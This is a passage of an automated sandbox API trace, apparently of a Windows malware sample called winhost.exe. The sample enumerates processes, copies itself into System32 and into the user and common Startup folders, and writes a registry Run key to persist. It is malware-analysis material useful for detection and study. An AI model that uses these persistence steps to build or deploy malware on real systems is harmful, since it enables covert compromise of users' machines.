lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0067.486] lstrlenW (lpString="spgagentservice.exe") returned 19 [0067.486] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0067.487] lstrlenW (lpString="utg2.exe") returned 8 [0067.487] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="atlascomedy.exe")) returned 1 [0067.488] lstrlenW (lpString="atlascomedy.exe") returned 15 [0067.488] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="starting_terminal_failing.exe")) returned 1 [0067.489] lstrlenW (lpString="starting_terminal_failing.exe") returned 29 [0067.489] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ntsc.exe")) returned 1 [0067.490] lstrlenW (lpString="ntsc.exe") returned 8 [0067.490] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="criteria.exe")) returned 1 [0067.490] lstrlenW (lpString="criteria.exe") returned 12 [0067.490] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0067.491] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0067.491] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0067.492] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0067.492] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0067.505] lstrlenW (lpString="taskhost.exe") returned 12 [0067.505] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0067.506] lstrlenW (lpString="dllhost.exe") returned 11 [0067.506] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0067.507] lstrlenW (lpString="dllhost.exe") returned 11 [0067.507] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0067.508] lstrlenW (lpString="winhost.exe") returned 11 [0067.508] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 0 [0067.509] CloseHandle (hObject=0xe0) returned 1 [0067.510] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5270 | out: hHeap=0x5b0000) returned 1 [0067.510] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e52b8 | out: hHeap=0x5b0000) returned 1 [0067.510] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5300 | out: hHeap=0x5b0000) returned 1 [0067.510] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5320 | out: hHeap=0x5b0000) returned 1 [0067.510] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5368 | out: hHeap=0x5b0000) returned 1 [0067.510] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e4a08 | out: hHeap=0x5b0000) returned 1 [0067.510] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c4720 | out: hHeap=0x5b0000) returned 1 [0067.510] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c4758 | out: hHeap=0x5b0000) returned 1 [0067.510] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c4350 | out: hHeap=0x5b0000) returned 1 [0067.510] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c4378 | out: hHeap=0x5b0000) returned 1 [0067.510] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c47a0 | out: hHeap=0x5b0000) returned 1 [0067.510] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c43a0 | out: hHeap=0x5b0000) returned 1 [0067.510] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x5eb430 [0067.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x5fb438 [0067.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5e4a08 [0067.512] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e4a08, Size=0x20) returned 0x5c43a0 [0067.512] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c43a0, Size=0x40) returned 0x5e69b0 [0067.512] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5e4a08 [0067.512] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e4a08, Size=0x20) returned 0x5c43a0 [0067.512] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5e4a08 [0067.512] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e4a08, Size=0x20) returned 0x5c4378 [0067.512] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5e4a08 [0067.512] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e4a08, Size=0x20) returned 0x5c4350 [0067.512] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c4350, Size=0x40) returned 0x5e69f8 [0067.512] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x5fb438, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\winhost.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\winhost.exe")) returned 0x31 [0067.512] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x60b440 [0067.513] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x61b448 [0067.514] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5e4a08 [0067.514] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e4a08, Size=0x20) returned 0x5c4350 [0067.514] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c4350, Size=0x40) returned 0x5e6a40 [0067.514] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e6a40, Size=0x80) returned 0x5e5270 [0067.514] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e5270, Size=0x100) returned 0x5e7bb8 [0067.514] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0067.514] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e7bb8 | out: hHeap=0x5b0000) returned 1 [0067.514] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\winhost.exe", lpDst=0x60b440, nSize=0x7fff | out: lpDst="C:\\Windows\\System32\\winhost.exe") returned 0x20 [0067.514] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x61b448 | out: hHeap=0x5b0000) returned 1 [0067.514] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b440 | out: hHeap=0x5b0000) returned 1 [0067.514] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100000) returned 0x20d0020 [0067.515] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5e4a08 [0067.515] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e4a08, Size=0x20) returned 0x5c4350 [0067.515] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5e4a08 [0067.515] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e4a08, Size=0x20) returned 0x5e5938 [0067.515] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0067.515] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0067.515] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x0) returned 1 [0067.515] lstrlenW (lpString="kernel32.dll") returned 12 [0067.515] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c4350 | out: hHeap=0x5b0000) returned 1 [0067.516] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0067.516] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5938 | out: hHeap=0x5b0000) returned 1 [0067.516] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\winhost.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\winhost.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0067.516] CreateFileW (lpFileName="C:\\Windows\\System32\\winhost.exe" (normalized: "c:\\windows\\system32\\winhost.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0067.518] ReadFile (in: hFile=0xe0, lpBuffer=0x20d0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x20d0020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0067.546] WriteFile (in: hFile=0xe4, lpBuffer=0x20d0020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x20d0020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0067.552] ReadFile (in: hFile=0xe0, lpBuffer=0x20d0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x20d0020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0067.552] CloseHandle (hObject=0xe4) returned 1 [0067.556] CloseHandle (hObject=0xe0) returned 1 [0067.556] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5e4a08 [0067.556] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e4a08, Size=0x20) returned 0x5e5938 [0067.557] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5e4a08 [0067.557] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e4a08, Size=0x20) returned 0x5e58e8 [0067.557] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0067.557] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0067.557] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0067.557] lstrlenW (lpString="kernel32.dll") returned 12 [0067.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e58e8 | out: hHeap=0x5b0000) returned 1 [0067.557] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0067.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5938 | out: hHeap=0x5b0000) returned 1 [0067.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x20d0020 | out: hHeap=0x5b0000) returned 1 [0067.566] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5e4a08 [0067.566] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e4a08, Size=0x20) returned 0x5e5938 [0067.567] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e5938, Size=0x40) returned 0x5e6a40 [0067.567] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e6a40, Size=0x80) returned 0x60b458 [0067.567] lstrlenW (lpString="C:\\Windows\\System32\\winhost.exe") returned 31 [0067.567] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0067.567] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5c) returned 0x5e5270 [0067.567] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x18fd6c | out: phkResult=0x18fd6c*=0xe0) returned 0x0 [0067.567] RegSetValueExW (in: hKey=0xe0, lpValueName="winhost.exe", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\winhost.exe", cbData=0x3e | out: lpData="C:\\Windows\\System32\\winhost.exe") returned 0x0 [0067.569] RegCloseKey (hKey=0xe0) returned 0x0 [0067.570] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5270 | out: hHeap=0x5b0000) returned 1 [0067.570] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0067.570] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b458 | out: hHeap=0x5b0000) returned 1 [0067.570] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x60d440 [0067.571] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x61d448 [0067.571] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5e4a08 [0067.571] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e4a08, Size=0x20) returned 0x5e5938 [0067.572] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e5938, Size=0x40) returned 0x5e6a40 [0067.572] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e6a40, Size=0x80) returned 0x60b458 [0067.572] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x60b458, Size=0x100) returned 0x5e7bb8 [0067.572] lstrlenW (lpString="") returned 0 [0067.572] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0067.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8c) returned 0x5e7cc0 [0067.572] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe0) returned 0x0 [0067.573] RegQueryValueExW (in: hKey=0xe0, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x61d448, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x0, lpData=0x61d448*=0x53, lpcbData=0x18fd50*=0x7fff) returned 0x2 [0067.573] RegCloseKey (hKey=0xe0) returned 0x0 [0067.573] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e7cc0 | out: hHeap=0x5b0000) returned 1 [0067.573] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0067.573] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8c) returned 0x5e7cc0 [0067.573] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0067.574] RegQueryValueExW (in: hKey=0xe4, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x61d448, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x98) returned 0x0 [0067.574] RegCloseKey (hKey=0xe4) returned 0x0 [0067.574] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e7cc0 | out: hHeap=0x5b0000) returned 1 [0067.574] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0067.574] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0067.574] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e7bb8 | out: hHeap=0x5b0000) returned 1 [0067.575] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe", lpDst=0x60d440, nSize=0x7fff | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe") returned 0x68 [0067.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x61d448 | out: hHeap=0x5b0000) returned 1 [0067.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d440 | out: hHeap=0x5b0000) returned 1 [0067.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100000) returned 0x20d0020 [0067.576] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5e4a38 [0067.576] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e4a38, Size=0x20) returned 0x5e5938 [0067.577] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5e4a38 [0067.577] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e4a38, Size=0x20) returned 0x5e58e8 [0067.577] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0067.577] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0067.577] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0067.577] lstrlenW (lpString="kernel32.dll") returned 12 [0067.577] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5938 | out: hHeap=0x5b0000) returned 1 [0067.578] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0067.578] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e58e8 | out: hHeap=0x5b0000) returned 1 [0067.578] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\winhost.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\winhost.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0067.578] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\winhost.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0067.583] ReadFile (in: hFile=0xe4, lpBuffer=0x20d0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x20d0020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0067.604] WriteFile (in: hFile=0xe8, lpBuffer=0x20d0020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x20d0020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0067.608] ReadFile (in: hFile=0xe4, lpBuffer=0x20d0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x20d0020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0067.608] CloseHandle (hObject=0xe8) returned 1 [0067.610] CloseHandle (hObject=0xe4) returned 1 [0067.610] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5e4a38 [0067.610] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e4a38, Size=0x20) returned 0x5e58e8 [0067.610] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5e4a38 [0067.611] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e4a38, Size=0x20) returned 0x5e5938 [0067.611] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0067.611] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0067.611] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0067.611] lstrlenW (lpString="kernel32.dll") returned 12 [0067.611] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5938 | out: hHeap=0x5b0000) returned 1 [0067.611] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0067.611] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e58e8 | out: hHeap=0x5b0000) returned 1 [0067.611] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x20d0020 | out: hHeap=0x5b0000) returned 1 [0067.619] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x60d440 [0067.619] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x61d448 [0067.619] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5e4a38 [0067.619] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e4a38, Size=0x20) returned 0x5e58e8 [0067.619] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e58e8, Size=0x40) returned 0x5e6a40 [0067.619] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e6a40, Size=0x80) returned 0x60b458 [0067.619] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x60b458, Size=0x100) returned 0x5e7bb8 [0067.619] lstrlenW (lpString="") returned 0 [0067.619] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0067.619] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8c) returned 0x5e7cc0 [0067.619] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0067.619] RegQueryValueExW (in: hKey=0xe4, lpValueName="Common Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x61d448, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x78) returned 0x0 [0067.619] RegCloseKey (hKey=0xe4) returned 0x0 [0067.619] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e7cc0 | out: hHeap=0x5b0000) returned 1 [0067.619] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0067.619] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0067.620] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e7bb8 | out: hHeap=0x5b0000) returned 1 [0067.620] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe", lpDst=0x60d440, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe") returned 0x49 [0067.620] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x61d448 | out: hHeap=0x5b0000) returned 1 [0067.620] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d440 | out: hHeap=0x5b0000) returned 1 [0067.620] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100000) returned 0x20d0020 [0067.620] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5e4a38 [0067.620] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e4a38, Size=0x20) returned 0x5e58e8 [0067.620] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5e4a38 [0067.620] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e4a38, Size=0x20) returned 0x5e5938 [0067.620] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0067.620] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0067.620] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0067.620] lstrlenW (lpString="kernel32.dll") returned 12 [0067.621] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e58e8 | out: hHeap=0x5b0000) returned 1 [0067.621] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0067.621] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5938 | out: hHeap=0x5b0000) returned 1 [0067.621] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\winhost.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\winhost.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 